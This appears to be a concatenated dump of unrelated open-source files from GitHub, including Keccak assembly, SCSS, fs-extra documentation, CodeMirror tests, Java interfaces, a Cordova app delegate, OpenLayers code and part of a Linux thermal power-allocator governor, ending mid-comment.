mKeccakRound(rpStack, rpState, $0x8000000080008000, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpState, rpStack, $0x000000000000808b, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpStack, rpState, $0x0000000080000001, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpState, rpStack, $0x8000000080008081, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpStack, rpState, $0x8000000000008009, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpState, rpStack, $0x000000000000008a, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpStack, rpState, $0x0000000000000088, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpState, rpStack, $0x0000000080008009, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpStack, rpState, $0x000000008000000a, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpState, rpStack, $0x000000008000808b, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpStack, rpState, $0x800000000000008b, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpState, rpStack, $0x8000000000008089, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpStack, rpState, $0x8000000000008003, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpState, rpStack, $0x8000000000008002, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpStack, rpState, $0x8000000000000080, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpState, rpStack, $0x000000000000800a, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpStack, rpState, $0x800000008000000a, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpState, rpStack, $0x8000000080008081, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpStack, rpState, $0x8000000000008080, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpState, rpStack, $0x0000000080000001, MOVQ_RBI_RCE, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBA_RCU, XORQ_RT1_RCA, XORQ_RT1_RCE, XORQ_RBE_RCU, XORQ_RDU_RCU, XORQ_RDA_RCA, XORQ_RDE_RCE)
mKeccakRound(rpStack, rpState, $0x8000000080008008, NOP, NOP, NOP, NOP, NOP, NOP, NOP, NOP, NOP, NOP, NOP, NOP, NOP)
// Revert the internal state to the user state
NOTQ _be(rpState)
NOTQ _bi(rpState)
NOTQ _go(rpState)
NOTQ _ki(rpState)
NOTQ _mi(rpState)
NOTQ _sa(rpState)
RET
| {
"pile_set_name": "Github"
} |
// stylelint-disable declaration-no-important
@each $color, $value in $theme-colors {
@include bg-variant(".bg-#{$color}", $value, true);
}
@if $enable-gradients {
@each $color, $value in $theme-colors {
@include bg-gradient-variant(".bg-gradient-#{$color}", $value);
}
}
.bg-white {
background-color: $white !important;
}
.bg-transparent {
background-color: transparent !important;
}
| {
"pile_set_name": "Github"
} |
# readJsonSync(file, [options])
Reads a JSON file and then parses it into an object. `options` are the same
that you'd pass to [`jsonFile.readFileSync`](https://github.com/jprichardson/node-jsonfile#readfilesyncfilename-options).
**Alias:** `readJSONSync()`
- `file` `<String>`
- `options` `<Object>`
## Example:
```js
const fs = require('fs-extra')
const packageObj = fs.readJsonSync('./package.json')
console.log(packageObj.version) // => 2.0.0
```
---
`readJsonSync()` can take a `throws` option set to `false` and it won't throw if the JSON is invalid. Example:
```js
const fs = require('fs-extra')
const file = '/tmp/some-invalid.json'
const data = '{not valid JSON'
fs.writeFileSync(file, data)
const obj = fs.readJsonSync(file, { throws: false })
console.log(obj) // => null
```
| {
"pile_set_name": "Github"
} |
package com.tencent.mm.ui.conversation;
import com.tencent.mm.model.ax;
import com.tencent.mm.model.b;
import com.tencent.mm.platformtools.ad;
import com.tencent.mm.storage.k;
import com.tencent.mm.storage.q;
final class u$e
{
private String aqX = null;
private boolean blk = false;
private k cqE = null;
private Integer jjA = null;
public u$e(u paramu) {}
public final k aQP()
{
if ((blk) && (cqE == null) && (ax.qZ())) {
cqE = ax.tl().ri().yM(aqX);
}
return cqE;
}
public final void setTalker(String paramString)
{
aqX = paramString;
cqE = null;
jjA = null;
blk = false;
if (!ad.iW(paramString)) {
blk = true;
}
}
}
/* Location:
* Qualified Name: com.tencent.mm.ui.conversation.u.e
* Java Class Version: 6 (50.0)
* JD-Core Version: 0.7.1
*/ | {
"pile_set_name": "Github"
} |
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
(function() {
var mode = CodeMirror.getMode({indentUnit: 2}, "text/x-scss");
function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1), "scss"); }
MT('url_with_quotation',
"[tag foo] { [property background]:[atom url]([string test.jpg]) }");
MT('url_with_double_quotes',
"[tag foo] { [property background]:[atom url]([string \"test.jpg\"]) }");
MT('url_with_single_quotes',
"[tag foo] { [property background]:[atom url]([string \'test.jpg\']) }");
MT('string',
"[def @import] [string \"compass/css3\"]");
MT('important_keyword',
"[tag foo] { [property background]:[atom url]([string \'test.jpg\']) [keyword !important] }");
MT('variable',
"[variable-2 $blue]:[atom #333]");
MT('variable_as_attribute',
"[tag foo] { [property color]:[variable-2 $blue] }");
MT('numbers',
"[tag foo] { [property padding]:[number 10px] [number 10] [number 10em] [number 8in] }");
MT('number_percentage',
"[tag foo] { [property width]:[number 80%] }");
MT('selector',
"[builtin #hello][qualifier .world]{}");
MT('singleline_comment',
"[comment // this is a comment]");
MT('multiline_comment',
"[comment /*foobar*/]");
MT('attribute_with_hyphen',
"[tag foo] { [property font-size]:[number 10px] }");
MT('string_after_attribute',
"[tag foo] { [property content]:[string \"::\"] }");
MT('directives',
"[def @include] [qualifier .mixin]");
MT('basic_structure',
"[tag p] { [property background]:[keyword red]; }");
MT('nested_structure',
"[tag p] { [tag a] { [property color]:[keyword red]; } }");
MT('mixin',
"[def @mixin] [tag table-base] {}");
MT('number_without_semicolon',
"[tag p] {[property width]:[number 12]}",
"[tag a] {[property color]:[keyword red];}");
MT('atom_in_nested_block',
"[tag p] { [tag a] { [property color]:[atom #000]; } }");
MT('interpolation_in_property',
"[tag foo] { #{[variable-2 $hello]}:[number 2]; }");
MT('interpolation_in_selector',
"[tag foo]#{[variable-2 $hello]} { [property color]:[atom #000]; }");
MT('interpolation_error',
"[tag foo]#{[variable foo]} { [property color]:[atom #000]; }");
MT("divide_operator",
"[tag foo] { [property width]:[number 4] [operator /] [number 2] }");
MT('nested_structure_with_id_selector',
"[tag p] { [builtin #hello] { [property color]:[keyword red]; } }");
MT('indent_mixin',
"[def @mixin] [tag container] (",
" [variable-2 $a]: [number 10],",
" [variable-2 $b]: [number 10])",
"{}");
MT('indent_nested',
"[tag foo] {",
" [tag bar] {",
" }",
"}");
MT('indent_parentheses',
"[tag foo] {",
" [property color]: [atom darken]([variable-2 $blue],",
" [number 9%]);",
"}");
MT('indent_vardef',
"[variable-2 $name]:",
" [string 'val'];",
"[tag tag] {",
" [tag inner] {",
" [property margin]: [number 3px];",
" }",
"}");
})();
| {
"pile_set_name": "Github"
} |
package com.turtleplayer.persistance.framework.mapping;
import com.turtleplayer.persistance.framework.creator.Creator;
/**
* TURTLE PLAYER
* <p/>
* Licensed under MIT & GPL
* <p/>
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
* INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
* PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
* LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE
* OR OTHER DEALINGS IN THE SOFTWARE.
* <p/>
* More Information @ www.turtle-player.co.uk
*
* @author Simon Honegger (Hoene84)
*
* Knows how to create I's from C's which are dependent from Q
* Eg: Knows How to create an Instance I from Query result Cursor C from Sql Q
*
* @param <Q> eg sql String
* @param <I> resulting instance
* @param <C> eg cursor
*/
public interface Mapping<Q, I, C> extends Creator<I, C>, QueryGenerator<Q>
{
Q get();
I create(C queryResult);
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2018, Oracle and/or its affiliates. All rights reserved.
*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* The contents of this file are subject to the terms of either the Universal Permissive License
* v 1.0 as shown at http://oss.oracle.com/licenses/upl
*
* or the following license:
*
* Redistribution and use in source and binary forms, with or without modification, are permitted
* provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of conditions
* and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided with
* the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY
* WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package org.openjdk.jmc.common.unit;
/**
* Quick and dirty {@link ScaleFactor} implementation. Should be replaced with more precise
* (rational) converters.
*/
public class ImpreciseScaleFactor extends ScaleFactor {
private final Number numberFactor;
public ImpreciseScaleFactor(Number factor) {
numberFactor = factor;
}
@Override
public ScaleFactor concat(ScaleFactor innerFactor) {
if (innerFactor.isUnity()) {
return this;
}
return new ImpreciseScaleFactor(innerFactor.targetValue(numberFactor.doubleValue()));
}
@Override
public ScaleFactor invert() {
return new ImpreciseScaleFactor(1.0 / numberFactor.doubleValue());
}
@Override
public boolean targetOutOfRange(long srcNumericalValue, long maxAbsValue) {
if (numberFactor.doubleValue() >= 1.0) {
if (srcNumericalValue >= 0) {
return srcNumericalValue > (maxAbsValue / getMultiplier());
} else {
return srcNumericalValue < ((~maxAbsValue) / getMultiplier());
}
} else {
if (srcNumericalValue >= 0) {
return targetValue(srcNumericalValue) > maxAbsValue;
} else {
return targetValue(srcNumericalValue) < (~maxAbsValue);
}
}
}
@Override
public boolean targetOutOfRange(double srcNumericalValue, long maxAbsValue) {
if (numberFactor.doubleValue() >= 1.0) {
if (srcNumericalValue >= 0) {
return srcNumericalValue > (maxAbsValue / getMultiplier());
} else {
return srcNumericalValue < ((~maxAbsValue) / getMultiplier());
}
} else {
if (srcNumericalValue >= 0) {
return targetValue(srcNumericalValue) > maxAbsValue;
} else {
return targetValue(srcNumericalValue) < (~maxAbsValue);
}
}
}
@Override
public double targetValue(double srcNumericalValue) {
return srcNumericalValue * numberFactor.doubleValue();
}
@Override
public long targetValue(long srcNumericalValue) {
return Math.round(srcNumericalValue * numberFactor.doubleValue());
}
@Override
public long targetFloor(long srcNumericalValue) {
return (long) Math.floor(srcNumericalValue * numberFactor.doubleValue());
}
@Override
public Number targetNumber(long srcNumericalValue) {
return targetValue((double) srcNumericalValue);
}
@Override
public Number targetNumber(Number srcNumericalValue) {
return targetValue(srcNumericalValue.doubleValue());
}
@Override
public boolean isUnity() {
// NOTE: Since we're imprecise, we cannot return true.
return false;
}
@Override
public boolean isInteger() {
// NOTE: Since we're imprecise, we cannot return true (yet).
return false;
}
@Override
public boolean equals(Object other) {
return (other instanceof ImpreciseScaleFactor)
&& numberFactor.equals(((ImpreciseScaleFactor) other).numberFactor);
}
@Override
public int hashCode() {
return numberFactor.hashCode();
}
@Override
public String toString() {
return numberFactor.toString();
}
@Override
public double getMultiplier() {
return numberFactor.doubleValue();
}
}
| {
"pile_set_name": "Github"
} |
checks # formatter requires
formatter
lanes # threading
ldoc
--server=http://luarocks.org/dev lua-lsp
luacheck
| {
"pile_set_name": "Github"
} |
/* ******************************************************************************
* Copyright (c) 2006-2012 XMind Ltd. and others.
*
* This file is a part of XMind 3. XMind releases 3 and
* above are dual-licensed under the Eclipse Public License (EPL),
* which is available at http://www.eclipse.org/legal/epl-v10.html
* and the GNU Lesser General Public License (LGPL),
* which is available at http://www.gnu.org/licenses/lgpl.html
* See https://www.xmind.net/license.html for details.
*
* Contributors:
* XMind Ltd. - initial API and implementation
*******************************************************************************/
package org.xmind.core;
public interface ISheetComponent extends IWorkbookComponent {
ISheet getOwnedSheet();
} | {
"pile_set_name": "Github"
} |
/*
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
*/
#import "CDVAppDelegate.h"
@implementation CDVAppDelegate
@synthesize window, viewController;
- (id)init
{
/** If you need to do any extra app-specific initialization, you can do it here
* -jm
**/
NSHTTPCookieStorage* cookieStorage = [NSHTTPCookieStorage sharedHTTPCookieStorage];
[cookieStorage setCookieAcceptPolicy:NSHTTPCookieAcceptPolicyAlways];
int cacheSizeMemory = 8 * 1024 * 1024; // 8MB
int cacheSizeDisk = 32 * 1024 * 1024; // 32MB
NSURLCache* sharedCache = [[NSURLCache alloc] initWithMemoryCapacity:cacheSizeMemory diskCapacity:cacheSizeDisk diskPath:@"nsurlcache"];
[NSURLCache setSharedURLCache:sharedCache];
self = [super init];
return self;
}
#pragma mark UIApplicationDelegate implementation
/**
* This is main kick off after the app inits, the views and Settings are setup here. (preferred - iOS4 and up)
*/
- (BOOL)application:(UIApplication*)application didFinishLaunchingWithOptions:(NSDictionary*)launchOptions
{
CGRect screenBounds = [[UIScreen mainScreen] bounds];
self.window = [[UIWindow alloc] initWithFrame:screenBounds];
self.window.autoresizesSubviews = YES;
// only set if not already set in subclass
if (self.viewController == nil) {
self.viewController = [[CDVViewController alloc] init];
}
// Set your app's start page by setting the <content src='foo.html' /> tag in config.xml.
// If necessary, uncomment the line below to override it.
// self.viewController.startPage = @"index.html";
// NOTE: To customize the view's frame size (which defaults to full screen), override
// [self.viewController viewWillAppear:] in your view controller.
self.window.rootViewController = self.viewController;
[self.window makeKeyAndVisible];
return YES;
}
// this happens while we are running ( in the background, or from within our own app )
// only valid if 40x-Info.plist specifies a protocol to handle
- (BOOL)application:(UIApplication*)application openURL:(NSURL*)url sourceApplication:(NSString*)sourceApplication annotation:(id)annotation
{
if (!url) {
return NO;
}
// all plugins will get the notification, and their handlers will be called
[[NSNotificationCenter defaultCenter] postNotification:[NSNotification notificationWithName:CDVPluginHandleOpenURLNotification object:url]];
return YES;
}
#if __IPHONE_OS_VERSION_MAX_ALLOWED < 90000
- (NSUInteger)application:(UIApplication*)application supportedInterfaceOrientationsForWindow:(UIWindow*)window
#else
- (UIInterfaceOrientationMask)application:(UIApplication*)application supportedInterfaceOrientationsForWindow:(UIWindow*)window
#endif
{
// iPhone doesn't support upside down by default, while the iPad does. Override to allow all orientations always, and let the root view controller decide what's allowed (the supported orientations mask gets intersected).
NSUInteger supportedInterfaceOrientations = (1 << UIInterfaceOrientationPortrait) | (1 << UIInterfaceOrientationLandscapeLeft) | (1 << UIInterfaceOrientationLandscapeRight) | (1 << UIInterfaceOrientationPortraitUpsideDown);
return supportedInterfaceOrientations;
}
- (void)applicationDidReceiveMemoryWarning:(UIApplication*)application
{
[[NSURLCache sharedURLCache] removeAllCachedResponses];
}
@end
| {
"pile_set_name": "Github"
} |
/* Copyright (c) 2006-2013 by OpenLayers Contributors (see authors.txt for
* full list of contributors). Published under the 2-clause BSD license.
* See license.txt in the OpenLayers distribution or repository for the
* full text of the license. */
/**
* @requires OpenLayers/Symbolizer.js
*/
/**
* Class: OpenLayers.Symbolizer.Raster
* A symbolizer used to render raster images.
*/
OpenLayers.Symbolizer.Raster = OpenLayers.Class(OpenLayers.Symbolizer, {
/**
* Constructor: OpenLayers.Symbolizer.Raster
* Create a symbolizer for rendering rasters.
*
* Parameters:
* config - {Object} An object containing properties to be set on the
* symbolizer. Any documented symbolizer property can be set at
* construction.
*
* Returns:
* A new raster symbolizer.
*/
initialize: function(config) {
OpenLayers.Symbolizer.prototype.initialize.apply(this, arguments);
},
CLASS_NAME: "OpenLayers.Symbolizer.Raster"
});
| {
"pile_set_name": "Github"
} |
<?js
var data = obj;
var self = this;
?>
<?js if (data.augments && data.augments.length) { ?>
<ul><?js data.augments.forEach(function(a) { ?>
<li><?js= self.linkto(a, a) ?></li>
<?js }) ?></ul>
<?js } ?>
| {
"pile_set_name": "Github"
} |
/*
* A power allocator to manage temperature
*
* Copyright (C) 2014 ARM Ltd.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* This program is distributed "as is" WITHOUT ANY WARRANTY of any
* kind, whether express or implied; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#define pr_fmt(fmt) "Power allocator: " fmt
#include <linux/rculist.h>
#include <linux/slab.h>
#include <linux/thermal.h>
#define CREATE_TRACE_POINTS
#include <trace/events/thermal_power_allocator.h>
#include "thermal_core.h"
#define INVALID_TRIP -1
#define FRAC_BITS 10
#define int_to_frac(x) ((x) << FRAC_BITS)
#define frac_to_int(x) ((x) >> FRAC_BITS)
/**
* mul_frac() - multiply two fixed-point numbers
* @x: first multiplicand
* @y: second multiplicand
*
* Return: the result of multiplying two fixed-point numbers. The
* result is also a fixed-point number.
*/
static inline s64 mul_frac(s64 x, s64 y)
{
return (x * y) >> FRAC_BITS;
}
/**
* div_frac() - divide two fixed-point numbers
* @x: the dividend
* @y: the divisor
*
* Return: the result of dividing two fixed-point numbers. The
* result is also a fixed-point number.
*/
static inline s64 div_frac(s64 x, s64 y)
{
return div_s64(x << FRAC_BITS, y);
}
/**
* struct power_allocator_params - parameters for the power allocator governor
* @allocated_tzp: whether we have allocated tzp for this thermal zone and
* it needs to be freed on unbind
* @err_integral: accumulated error in the PID controller.
* @prev_err: error in the previous iteration of the PID controller.
* Used to calculate the derivative term.
* @trip_switch_on: first passive trip point of the thermal zone. The
* governor switches on when this trip point is crossed.
* If the thermal zone only has one passive trip point,
* @trip_switch_on should be INVALID_TRIP.
* @trip_max_desired_temperature: last passive trip point of the thermal
* zone. The temperature we are
* controlling for.
*/
struct power_allocator_params {
bool allocated_tzp;
s64 err_integral;
s32 prev_err;
int trip_switch_on;
int trip_max_desired_temperature;
};
/**
* estimate_sustainable_power() - Estimate the sustainable power of a thermal zone
* @tz: thermal zone we are operating in
*
* For thermal zones that don't provide a sustainable_power in their
* thermal_zone_params, estimate one. Calculate it using the minimum
* power of all the cooling devices as that gives a valid value that
* can give some degree of functionality. For optimal performance of
* this governor, provide a sustainable_power in the thermal zone's
* thermal_zone_params.
*/
static u32 estimate_sustainable_power(struct thermal_zone_device *tz)
{
u32 sustainable_power = 0;
struct thermal_instance *instance;
struct power_allocator_params *params = tz->governor_data;
list_for_each_entry(instance, &tz->thermal_instances, tz_node) {
struct thermal_cooling_device *cdev = instance->cdev;
u32 min_power;
if (instance->trip != params->trip_max_desired_temperature)
continue;
if (power_actor_get_min_power(cdev, tz, &min_power))
continue;
sustainable_power += min_power;
}
return sustainable_power;
}
/**
* estimate_pid_constants() - Estimate the constants for the PID controller
* @tz: thermal zone for which to estimate the constants
* @sustainable_power: sustainable power for the thermal zone
* @trip_switch_on: trip point number for the switch on temperature
* @control_temp: target temperature for the power allocator governor
* @force: whether to force the update of the constants
*
* This function is used to update the estimation of the PID
* controller constants in struct thermal_zone_parameters.
* Sustainable power is provided in case it was estimated. The
* estimated sustainable_power should not be stored in the
* thermal_zone_parameters so it has to be passed explicitly to this
* function.
*
* If @force is not set, the values in the thermal zone's parameters
* are preserved if they are not zero. If @force is set, the values
* in thermal zone's parameters are overwritten.
*/
static void estimate_pid_constants(struct thermal_zone_device *tz,
u32 sustainable_power, int trip_switch_on,
int control_temp, bool force)
{
int ret;
int switch_on_temp;
u32 temperature_threshold;
ret = tz->ops->get_trip_temp(tz, trip_switch_on, &switch_on_temp);
if (ret)
switch_on_temp = 0;
temperature_threshold = control_temp - switch_on_temp;
/*
* estimate_pid_constants() tries to find appropriate default
* values for thermal zones that don't provide them. If a
* system integrator has configured a thermal zone with two
* passive trip points at the same temperature, that person
* hasn't put any effort to set up the thermal zone properly
* so just give up.
*/
if (!temperature_threshold)
return;
if (!tz->tzp->k_po || force)
tz->tzp->k_po = int_to_frac(sustainable_power) /
temperature_threshold;
if (!tz->tzp->k_pu || force)
tz->tzp->k_pu = int_to_frac(2 * sustainable_power) /
temperature_threshold;
if (!tz->tzp->k_i || force)
tz->tzp->k_i = int_to_frac(10) / 1000;
/*
* The default for k_d and integral_cutoff is 0, so we can
* leave them as they are.
*/
}
/**
* pid_controller() - PID controller
* @tz: thermal zone we are operating in
* @control_temp: the target temperature in millicelsius
* @max_allocatable_power: maximum allocatable power for this thermal zone
*
* This PID controller increases the available power budget so that the
* temperature of the thermal zone gets as close as possible to
* @control_temp and limits the power if it exceeds it. k_po is the
* proportional term when we are overshooting, k_pu is the
* proportional term when we are undershooting. integral_cutoff is a
* threshold below which we stop accumulating the error. The
* accumulated error is only valid if the requested power will make
* the system warmer. If the system is mostly idle, there's no point
* in accumulating positive error.
*
* Return: The power budget for the next period.
*/
static u32 pid_controller(struct thermal_zone_device *tz,
int control_temp,
u32 max_allocatable_power)
{
s64 p, i, d, power_range;
s32 err, max_power_frac;
u32 sustainable_power;
struct power_allocator_params *params = tz->governor_data;
max_power_frac = int_to_frac(max_allocatable_power);
if (tz->tzp->sustainable_power) {
sustainable_power = tz->tzp->sustainable_power;
} else {
sustainable_power = estimate_sustainable_power(tz);
estimate_pid_constants(tz, sustainable_power,
params->trip_switch_on, control_temp,
true);
}
err = control_temp - tz->temperature;
err = int_to_frac(err);
/* Calculate the proportional term */
p = mul_frac(err < 0 ? tz->tzp->k_po : tz->tzp->k_pu, err);
/*
* Calculate the integral term
*
* if the error is less than cut off allow integration (but
* the integral is limited to max power)
*/
i = mul_frac(tz->tzp->k_i, params->err_integral);
if (err < int_to_frac(tz->tzp->integral_cutoff)) {
s64 i_next = i + mul_frac(tz->tzp->k_i, err);
if (abs(i_next) < max_power_frac) {
i = i_next;
params->err_integral += err;
}
}
/*
* Calculate the derivative term
*
* We do err - prev_err, so with a positive k_d, a decreasing
* error (i.e. driving closer to the line) results in less
* power being applied, slowing down the controller)
*/
d = mul_frac(tz->tzp->k_d, err - params->prev_err);
d = div_frac(d, tz->passive_delay);
params->prev_err = err;
power_range = p + i + d;
/* feed-forward the known sustainable dissipatable power */
power_range = sustainable_power + frac_to_int(power_range);
power_range = clamp(power_range, (s64)0, (s64)max_allocatable_power);
trace_thermal_power_allocator_pid(tz, frac_to_int(err),
frac_to_int(params->err_integral),
frac_to_int(p), frac_to_int(i),
frac_to_int(d), power_range);
return power_range;
}
/**
